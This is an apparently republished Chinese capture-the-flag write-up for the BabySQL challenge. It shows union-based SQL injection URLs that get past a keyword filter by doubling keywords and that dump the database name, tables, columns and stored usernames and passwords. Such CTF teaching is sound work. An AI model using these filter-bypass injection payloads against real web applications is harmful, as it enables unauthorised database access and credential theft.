欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 房产 > 建筑 > [极客大挑战 2019]BabySQL--详细解析

[极客大挑战 2019]BabySQL--详细解析

2024/11/29 18:03:03 来源:https://blog.csdn.net/m0_56019217/article/details/144043319  浏览:    关键词:[极客大挑战 2019]BabySQL--详细解析

信息搜集

进入界面:
在这里插入图片描述
输入用户名为admin,密码随便输一个:
在这里插入图片描述发现是GET传参,有username和password两个传参点。
我们测试一下password点位能不能注入:
在这里插入图片描述
单引号闭合报错,根据报错信息,我们可以判断是单引号闭合。

SQL注入

先order by测试一下字段数:

check.php?username=admin&password=1' order by 3--+

在这里插入图片描述
报错。看报错信息,吞掉了order的or 和by,即过滤了or和by。
使用双写绕过:

check.php?username=admin&password=1' oorrder bbyy 3--+

测试出字段数为3.

顺便用万能密码试试能不能登录:
在这里插入图片描述
接下来按联合注入的流程走:
在这里插入图片描述union 和 select 被过滤。双写绕过:

check.php?username=admin&password=1' uniunionon selselectect 1,2,3--+

在这里插入图片描述找到相应回显位,这里我们利用回显位3:

check.php?username=admin&password=1' uniunionon selselectect 1,2,database()--+ 数据库名为geekcheck.php?username=admin&password=1' uniunionon selselectect 1,2,(selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema='geek')--+ 数据表b4bsql,geekusercheck.php?username=admin&password=1' uniunionon selselectect 1,2,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_name='b4bsql')--+ 列名id,username,password(selselectect group_concat(username,":",passwoorrd) frfromom b4bsql)--+

在这里插入图片描述
得到flag.

总结

考察的是联合注入,但是增加了过滤。
使用双写绕过。

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com